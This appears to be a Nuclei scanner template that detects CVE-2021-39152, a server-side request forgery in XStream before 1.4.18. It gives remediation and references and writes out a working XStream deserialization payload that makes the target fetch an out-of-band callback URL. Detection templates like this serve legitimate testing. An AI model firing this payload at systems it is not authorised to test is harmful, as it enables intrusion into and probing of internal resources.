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id : CVE-2021-39152
info :
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name : XStream <1.4.18 - Server-Side Request Forgery
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author : pwnhxl
severity : high
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description : |
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XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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remediation : |
Upgrade XStream to version 1.4.18 or later to mitigate the vulnerability.
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reference :
- https://x-stream.github.io/CVE-2021-39152.html
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- https://github.com/x-stream/xstream/security/advisories/GHSA-xw4p-crpj-vjx2
- https://security.netapp.com/advisory/ntap-20210923-0003/
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- https://nvd.nist.gov/vuln/detail/cve-2021-39152
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- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score : 8.5
cve-id : CVE-2021-39152
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cwe-id : CWE-502
epss-score : 0.00668
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epss-percentile : 0.77414
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cpe : cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : xstream_project
product : xstream
tags : cve,cve2021,xstream,ssrf,oast
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http :
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- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/xml
<map>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://{{interactsh-url}}/internal/</url>
<cs>GBK</cs>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://{{interactsh-url}}/internal/</url>
<cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
</map>
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
- "http"
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- type : word
part : interactsh_request
words :
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- "User-Agent: Java"